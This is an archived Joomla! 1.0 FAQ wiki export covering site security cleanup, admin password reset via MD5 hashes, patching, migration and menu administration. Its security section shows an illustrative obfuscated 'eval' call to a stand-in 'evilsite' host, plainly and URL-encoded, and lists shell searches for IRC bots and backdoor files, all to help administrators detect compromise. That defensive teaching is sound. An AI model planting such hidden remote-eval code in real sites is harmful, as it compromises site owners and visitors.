# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13 Enhanced Password System&#039;&#039;&#039;&lt;br /&gt;
Initial tests indicate that the method described here also works with Joomla! 1.0.13 salt-enhanced passwords. This is because Joomla! automatically updates password data from earlier versions to the 1.0.13 format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account.&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash, such as one of the samples provided with this FAQ, into the password field.&lt;br /&gt;
Warning: You must paste the password&#039;s hash value, not the password itself. You can use any of the following password = hash pairs, or create your own using one of the tools listed below.&lt;br /&gt;
&lt;br /&gt;
 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the record.&lt;br /&gt;
&lt;br /&gt;
6. Point your browser to your site and log as the administrator using your new password.&lt;br /&gt;
&lt;br /&gt;
7. Once logged in, you should change the password again to one that only you know.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
* MD5er - http://www.md5er.com/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
* MD5 &amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;lt;&amp;lt;&amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Original&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;URL Encoded&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;this line has spaces&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
&amp;lt;noinclude&amp;gt;[[Category:FAQ]]&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:Upgrading_and_Migrating_FAQs_version_1.0&amp;diff=9559</id>
		<title>Archived:Upgrading and Migrating FAQs version 1.0</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:Upgrading_and_Migrating_FAQs_version_1.0&amp;diff=9559"/>
		<updated>2008-07-27T22:11:30Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: add to faq category&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{review}}&lt;br /&gt;
&lt;br /&gt;
===How do you patch Joomla! 1.0.x to 1.0.x?===&lt;br /&gt;
This is a small tutorial and FAQ how to patch Joomla! 1.0.x to a newer version 1.0.y. A discussion for praise and/or comments can be found here. This will &#039;&#039;not&#039;&#039; cover the upgrade from Joomla 1.0 to 1.5, only updates from 1.0.x to 1.0.x.&lt;br /&gt;
&lt;br /&gt;
====What is a patch?====&lt;br /&gt;
A patch in Joomla! is a bunch of bugfixes, and might or might not include security issues. The patch announcement will always tell if a patch has fixed security issues. A patch is a minor upgrade. From Joomla! 1.0.0 to Joomla! 1.0.7 is considered a patch. Going from Joomla! 1.0,x to Joomla! 1.5 will be a major upgrade and should be treated differently.&lt;br /&gt;
&lt;br /&gt;
====How do I know which version I use?====&lt;br /&gt;
&lt;br /&gt;
Go to the administrator backend, and check the second line from the bottom, it will look something like this: &#039;Joomla! 1.0.x Stable [ Sunburst ] 15-Jan-2006 20:00 UTC&#039;. The information that is available here, is pulled from /includes/version.php&lt;br /&gt;
&lt;br /&gt;
====Should I patch or not?====&lt;br /&gt;
&lt;br /&gt;
It is always advised to update to the latest version, especially if a patch has security fixes in it. When you experience no problems with Joomla!, and a patch doesn&#039;t contain security fixes, you do not have to patch to the latest version. Take care that if you jump more then one step to take a look at all the announcements. A patch for Joomla! 1.0.7, for example, doesn&#039;t contain the announcement for Joomla! 1.0.6. Whenever you experience problems, please search the forums first and try to patch your installation to the latest version.&lt;br /&gt;
&lt;br /&gt;
====Do I need to install one or more patches to go to the latest version?====&lt;br /&gt;
&lt;br /&gt;
When going from Joomla! 1.0.1 to Joomla! 1.0.x for example, you only need to install one patch. This patch will have a name like &#039;Joomla 1.0.1 to 1.0.x-Stable-Patch Package.zip&#039;. Make sure that your current Joomla! version is the first number and that the version you are going to is the second number. Patches can be obtained here.&lt;br /&gt;
&lt;br /&gt;
====Why do patch files have different extensions like .zip, .tar.gz, and .tar.bz?====&lt;br /&gt;
&lt;br /&gt;
You only need one of those patches, the different extensions are for different operating systems. People using Windows will probably want to get the .zip files.&lt;br /&gt;
&lt;br /&gt;
====Does a patch overwrite my configuration?====&lt;br /&gt;
&lt;br /&gt;
No, the patch only overwrites files that are available in an official download. It doesn&#039;t overwrite configuration.php for example. There are a few things that you need to know.&lt;br /&gt;
&lt;br /&gt;
A patch can overwrite the default language file /language/english.php. You only need to take care if you made changes to the default english.php. A Joomla! patch doesn&#039;t overwrite other language files you have put there yourself.&lt;br /&gt;
&lt;br /&gt;
A patch can also overwrite /images/favicon.ico, for the people who use a favicon.ico and have overwritten this file.&lt;br /&gt;
&lt;br /&gt;
A patch can overwrite files in the default templates that are available with a default Joomla installation. If you want to use a default template, please make sure that it is better to copy the default template to another folder under the /templates directory.&lt;br /&gt;
&lt;br /&gt;
====When do I need to update my language file?====&lt;br /&gt;
&lt;br /&gt;
You basically only need to update your language file if you are using another language than English. It is possible that patch contains a few additions in the default language file (/includes/english.php). If this is the case /includes/english.php will be available in the patch. Check your local international forum or the language forum for any updates that have taken place.&lt;br /&gt;
&lt;br /&gt;
====What about the configuration.php-dist file?====&lt;br /&gt;
&lt;br /&gt;
This file is only needed for people for which the installation wizard doesn&#039;t work when installaling Joomla for the first time. This file can be found in a patch, as sometimes there are new configuration settings. This file can be totally ignored when patching Joomla. The new configuration settings will be automatically added to your current configuration.php file.&lt;br /&gt;
&lt;br /&gt;
====How do I patch Joomla! for a local installation?====&lt;br /&gt;
&lt;br /&gt;
* Create a back-up of both data and database before starting!&lt;br /&gt;
* Check the [http://forum.joomla.org/ forum] if any problems have been found.&lt;br /&gt;
* [http://joomlacode.org/gf/project/joomla/frs/ Download the patch] in question.&lt;br /&gt;
* Unpack the patch in an empty folder. If Windows doesn&#039;t contain an application that can unzip/untar your patch, you can download the open source application [http://www.7-zip.org/ 7-zip]].&lt;br /&gt;
* It is highly advised to set your site offline for the duration of the patch. You can do this in the administrator backend, go to Global Configuration, and set &#039;Site offline&#039; to &#039;Yes&#039;.&lt;br /&gt;
* Select all files and folders in the patch, and copy them over the root directory of your local installation. This is the location where your configuration.php is available. After the copying is finished, the patch is finished.&lt;br /&gt;
* Set your site online again, your Joomla! installation should be patched to the latest version.&lt;br /&gt;
* Check the version in the administrator backend, the version should be changed.&lt;br /&gt;
&lt;br /&gt;
====How do I patch for a Joomla! installation at a hoster?====&lt;br /&gt;
&lt;br /&gt;
* Create a back-up of both data and database before starting!&lt;br /&gt;
* Check the forum if any problems have been found.&lt;br /&gt;
* Download the patch in question.&lt;br /&gt;
* Unpack the patch in an empty folder. If Windows doesn&#039;t contain an application that can unzip/untar your patch, you can download the open source application 7-zip from http://www.sourceforge.net.&lt;br /&gt;
* It is highly advised to set your site offline for the duration of the patch. You can do this in the administrator backend, go to Global Configuration, and set &#039;Site offline&#039; to &#039;Yes&#039;.&lt;br /&gt;
* You need a FTP program, FileZilla for example. This is an open source client that is available from http://www.sourceforge.net.&lt;br /&gt;
* Another FTP program will work as well. Another FTP program will work as well. For this application to work, you need an FTP account, with a corresponding password (obtained from your hoster).&lt;br /&gt;
::&#039;&#039;&#039;Open your FTP client, and make sure that you change the configuration so that &#039;Passive Mode&#039; is on. Most FTP clients will have this option in its configuration.&#039;&#039;&#039;&lt;br /&gt;
* Select all files and folders in the FTP program, and copy them over the root directory of your installation at your host. This is the location where your configuration.php is available. After the copying is finished, the patch is finished. Check that all files have copied correctly. There are quite a few reports that files can get corrupted during transfer.&lt;br /&gt;
* Set your site online again, your Joomla! installation should be patched to the latest version.    * Check the version in the administrator backend, the version should be changed.&lt;br /&gt;
&lt;br /&gt;
===How do you move a Joomla! Site?===&lt;br /&gt;
Files and configuring of configuration.php&lt;br /&gt;
&lt;br /&gt;
To move your Joomla site from either one folder to another or one server to another, here are a few basics.&lt;br /&gt;
* Copy over your files, either via ftp or SSH/command line&lt;br /&gt;
* Backup and then restore your database - perhaps using phpmyadmin or SSH/command line (this step only needed if moving site from one server to another.)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
* Edit your configuration.php file to reflect the new values. Specifically the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$mosConfig_user = &#039;joomla_joomla&#039;;&lt;br /&gt;
$mosConfig_password = &#039;password&#039;;&lt;br /&gt;
$mosConfig_db = &#039;joomla_joomla&#039;;&lt;br /&gt;
$mosConfig_absolute_path = &#039;/home/joomla/public_html&#039;;&lt;br /&gt;
$mosConfig_live_site = &#039;http://www.joomla.org&#039;;&lt;br /&gt;
$mosConfig_cachepath = &#039;/your absolute path/cache&#039;;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
:&#039;&#039;&#039;Note:&#039;&#039;&#039; You may also need to ensure you have configured your .htaccess file in the new location.&lt;br /&gt;
&lt;br /&gt;
===How do I upgrade to Joomla! 1.5?===&lt;br /&gt;
&lt;br /&gt;
Yes you can [[Migration|migrate]] a Joomla! 1.0.x site or a Mambo 4.5.x to Joomla! 1.5.&lt;br /&gt;
&lt;br /&gt;
Joomla 1.5 does not provide an upgrade path from earlier versions. Converting an older site to a Joomla 1.5 site requires creation of a new empty site using Joomla 1.5 and then populating the new site with the content from the old site. This migration of content is not a one-to-one process and involves conversions and modifications to the content dump.&lt;br /&gt;
&lt;br /&gt;
There are two ways to perform the migration:&lt;br /&gt;
&lt;br /&gt;
* An automated method of [[Migration|migration]] has been provided which uses a migrator component to create the migration dump out of the old site (Mambo 4.5.x up to Joomla 1.0.x) and a smart import facility in the Joomla 1.5 Installation that performs required conversions and modifications during the installation process.&lt;br /&gt;
* Migration can be performed manually. This involves exporting the required tables, manually performing required conversions and modifications and then importing the content to the new site after it is installed.&lt;br /&gt;
&lt;br /&gt;
====Automated migration====&lt;br /&gt;
&lt;br /&gt;
This is a two phased process using two tools. The first tool is a [[Migration|migrator component]] named &#039;com_migrator&#039;. This component has been contributed by Harald Baer and is based on his &#039;eBackup&#039; component. The migrator needs to be installed on the old site and when activated it prepares the required export dump of the old site&#039;s data. The second tool is built into the Joomla 1.5 installation process. The exported content dump is loaded to the new site and all conversions and modification are performed &#039;on-the-fly&#039;.&lt;br /&gt;
&lt;br /&gt;
===What is a nightly build?===&lt;br /&gt;
&lt;br /&gt;
The Joomla! developers work continually on improving Joomla! as they prepare new releases. Every day at midnight CET/CEST a package containing up to date revisions is created and is available for download.&lt;br /&gt;
&lt;br /&gt;
====Where do I get the nightly build?====&lt;br /&gt;
&lt;br /&gt;
Access to the nightly build is available through the Joomla! developer site. &lt;br /&gt;
&lt;br /&gt;
====How do I install the nightly build?====&lt;br /&gt;
&lt;br /&gt;
In most cases, you can unzip the package and overwrite your files. However, you should check the changelog file in case there has been a change to the database.  This depends a lot on the stage in the development cycle of the release. Early on, pre-RC you can expect a lot of changes. After a stable release, there generally will not be changes. &lt;br /&gt;
&lt;br /&gt;
====Should I use the nightly build?====&lt;br /&gt;
&lt;br /&gt;
If you are willing to tolerate the risk of potential new problems, the nightly builds will give you solutions to old issues. However, nightly builds have not been through the quality testing that happens when there is a formal new release. &lt;br /&gt;
&lt;br /&gt;
If you test a nightly build you can become an active part of the quality and testing process by posting any issues you find in the Q &amp;amp; T forum for 1.0.x and 1.5. &lt;br /&gt;
&lt;br /&gt;
====What&#039;s the difference between a nightly build and subversion?====&lt;br /&gt;
&lt;br /&gt;
The nightly build pulls what is in subversion once a day.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;[[Category:FAQ]]&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:Administration_FAQs_Version_1.0&amp;diff=9558</id>
		<title>Archived:Administration FAQs Version 1.0</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:Administration_FAQs_Version_1.0&amp;diff=9558"/>
		<updated>2008-07-27T22:11:00Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: add to faq category&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Why don&#039;t all of my menu items show up in the module assignment lists?===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Modules are assigned to specific pages using a list of menu links that is visible when you edit the module in the module manager (on the right of the page). In older versions of Joomla! this list does NOT include menu links of the type &amp;quot;URL.&amp;quot;&lt;br /&gt;
This is an anomaly from the history of the development of Joomla! carried over from Mambo. Although you can use the URL type for any link, including internal Joomla! links, the original idea was that these would be used for links to external sites which would not display Joomla! modules.&lt;br /&gt;
Some Joomla! component extensions use URL links (rather than component links with parameters) as a simple way to access specific views of the components.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;In Joomla! 1.0.12 and later this issue was partially addressed by allowing modules to be assigned to URL links that did not include ItemId. Therefore, one way to address this issue is to make sure that your site is running the current version of Joomla! and that URL links that are internal to your site do not include ItemId values. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== How do I redirect users after a successful login?===&lt;br /&gt;
&lt;br /&gt;
After logging into the Administration backend, go the module manager. A list of all the modules installed on your site will appear. Edit the one that says &amp;quot;Login Form&amp;quot; under Module Name (&amp;quot;mod_login&amp;quot; under the Type column).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0.x&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Under Parameters, enter the URL of  page where you want to redirect successful logins to where it says &amp;quot;Login Redirection URL.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Select the redirection page from the list of menu links offered. Make sure that the link is to a published item. &lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Note: The same procedure is used for redirecting users on successful logout except you enter the page where you want to redirect successful logouts to where it says &amp;quot;Logout Redirection URL.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Also for &#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
If you would like to override the default login specified in your Administration back end from your custom code you can do so with the following:  &lt;br /&gt;
  &amp;lt;nowiki&amp;gt;   1. take the url that you would like to redirect the user to after they have successfully &lt;br /&gt;
logged in and apply the &#039;base64_encode&#039; function to it. i.e. &lt;br /&gt;
              $redirectUrl = &#039;&#039;&#039;base64_encode&#039;&#039;&#039;($redirectUrl); &lt;br /&gt;
     // a base64_encode of &#039;index.php?option=com_pizzapie&#039; yeilds: &#039;aW5kZXgucGhwP29wdGlvbj1jb21fcGl6emFwaWU=&#039;  &lt;br /&gt;
&lt;br /&gt;
     2. prepend the &#039;&amp;amp;return=&#039; query string to your newly encoded $redirectUrl:&lt;br /&gt;
              $redirectUrl = &#039;&#039;&#039;&#039;&amp;amp;return=&#039;&#039;&#039;&#039;.$redirectUrl;&lt;br /&gt;
&lt;br /&gt;
     3. append that $redirecturl to the Joomla Login Url...&lt;br /&gt;
              $joomlaLoginUrl = &#039;index.php?option=com_user&amp;amp;view=login&#039;;&lt;br /&gt;
              $finalUrl = $joomlaLoginUrl . $redirecturl;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
when you display that $finalUrl, it should look something like this:&lt;br /&gt;
&#039;index.php?option=com_user&amp;amp;view=login&#039;&#039;&#039;&amp;amp;return=aW5kZXgucGhwP29wdGlvbj1jb21fcGl6emFwaWU=&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The &#039;&#039;&#039;controller.php&#039;&#039;&#039; file in the &#039;&#039;&#039;com_user&#039;&#039;&#039; checks the contents of the &#039;return&#039; in the JRequest object (the Joomla query access object). If it is set and in the base64 format, it base64_decode(s) it and applies that redirection.&lt;br /&gt;
--[[User:Magneticmg|Magneticmg]] 09:17, 11 June 2008 (EDT)&lt;br /&gt;
&lt;br /&gt;
=== What do the types of links for menus mean?===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; VERSION 1.0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When you create a new link on a menu you need to select from a number of different types of links. Which type you select depends on what you are linking to and how you want it to appear. The following types exist:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Content&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
These types allow you to link to a section, a category or individual content items, static content and archives. Sections and categories can be linked either blog style or list/table style. In addition there is a link type that allows submission to specific content sections.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Miscellaneous&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Separator/placeholder allows you to insert a non active link.&lt;br /&gt;
&lt;br /&gt;
Wrapper creates an Iframe which displays an external page within your Joomla! site.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Submit&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Submit--Content allows you to link to a form to submit content to specific sections.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Components&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Component links allow you to link to components you have installed or that are preinstalled in Joomla!. In some instances components will allow you to set parameters to define the display in more detail.&lt;br /&gt;
There are also some predefined links to components that are included with Joomla! by default, such as weblinks and contacts.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Links&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Links include specific kinds of links, most of which are also included under other headings. URL link is a generic link that allows you to link any specific url, either internal to Joomla! or externally. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VERSION 1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Articles&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This gives you access to content.&lt;br /&gt;
&lt;br /&gt;
You can then choose from section, category, archive, articles, front page.&lt;br /&gt;
&lt;br /&gt;
Within section, category and archive you can choose list or blog layouts.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Blog Layout&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Blog layout will show a listing of all Articles of the selected blog type (Section or Category) in the mainbody position of your template. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;List Layout&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Table layout will simply give you a tabular list of all the titles in that particular Section or Category. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Wrapper&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Wrappers allow you to place stand alone applications and Third Party Web sites inside your Joomla! site. The content within a Wrapper appears within the primary content area defined by the &amp;quot;mainbody&amp;quot; tag and allows you to display their content as a part of your own site. A Wrapper will place an IFRAME into the content Section of your Web site and wrap your standard template navigation around it so it appears in the same way an Article would.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Each Component&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Each component will have its own link. Some may require you to make additional choices of options.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;External Link&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Lets you link to an external site. There may be occasions where you also want to point to a link directly to a apage on your site.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Separator&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This lets you make a text or image only (non-linkable) menu item.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Alias&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Lets you make a link matching an existing menu item. This avoids the problem of having multiple URLs pointing to the same content.&lt;br /&gt;
&lt;br /&gt;
=== How do I get rid of &amp;quot;This Category is Currently Empty&amp;quot;?===&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When you make a content category table link to an empty category, by default a &amp;quot;This Category is Currently Empty&amp;quot; message will display (or the equivalent in another language).  You can eliminate or modify this message by editing your language file.&lt;br /&gt;
&lt;br /&gt;
In /language/english.php change line 113 from&lt;br /&gt;
   define(&#039;_EMPTY_CATEGORY&#039;, &#039;This Category is currently empty&#039;);&lt;br /&gt;
to&lt;br /&gt;
   define(&#039;_EMPTY_CATEGORY&#039;, &amp;lt;nowiki&amp;gt;&#039;&#039;&amp;lt;/nowiki&amp;gt;); &lt;br /&gt;
&lt;br /&gt;
You can also change the text in the menu link to weblinks.&lt;br /&gt;
&lt;br /&gt;
=== How do I add a link to a menu?===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To add a new item to an exisiting menu, you must log in to the administrative interface (back end) of Joomla!&lt;br /&gt;
&lt;br /&gt;
* Go to the menu manager (Menu&amp;gt;&amp;gt;Menu Manager).&lt;br /&gt;
&lt;br /&gt;
* Find the menu you wish to add to and click on the icon in the Menu Items column.&lt;br /&gt;
&lt;br /&gt;
This will give a list of existing menu items.&lt;br /&gt;
&lt;br /&gt;
* To create a new item, click on the New icon.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0.x&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Select the type of link you want.&lt;br /&gt;
&lt;br /&gt;
* Click on the continue icon.&lt;br /&gt;
&lt;br /&gt;
* Fill in or select the appropriate information and parameters.&lt;br /&gt;
&lt;br /&gt;
* Save.&lt;br /&gt;
&lt;br /&gt;
Note: For some component links you need to edit the new link in order to apply parameters.&lt;br /&gt;
&lt;br /&gt;
compat_15_native.png&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Select the menu item you want from the list displayed.&lt;br /&gt;
&lt;br /&gt;
* Continue making selections until you have reached the end of the choice tree for your menu link type.&lt;br /&gt;
&lt;br /&gt;
=== What is php defined( &#039;_VALID_MOS&#039; ) or die( &#039;Restricted access&#039; ) or defined(&#039;_JEXEC&#039;) or die(&#039;Restricted access&#039;)?===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
Most php files within Joomla! 1.0.x begin with the following statement:&lt;br /&gt;
&lt;br /&gt;
      defined( &#039;_VALID_MOS&#039; ) or die( &#039;Restricted access&#039; )&lt;br /&gt;
&lt;br /&gt;
This statement checks to see if the file is being called from within a Joomla! session. This protects your site by making it more difficult for a cracker/hacker to damage your site.&lt;br /&gt;
&lt;br /&gt;
However, this line should NOT be included in your main index.php file, since this is the program that starts the Joomla! session. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
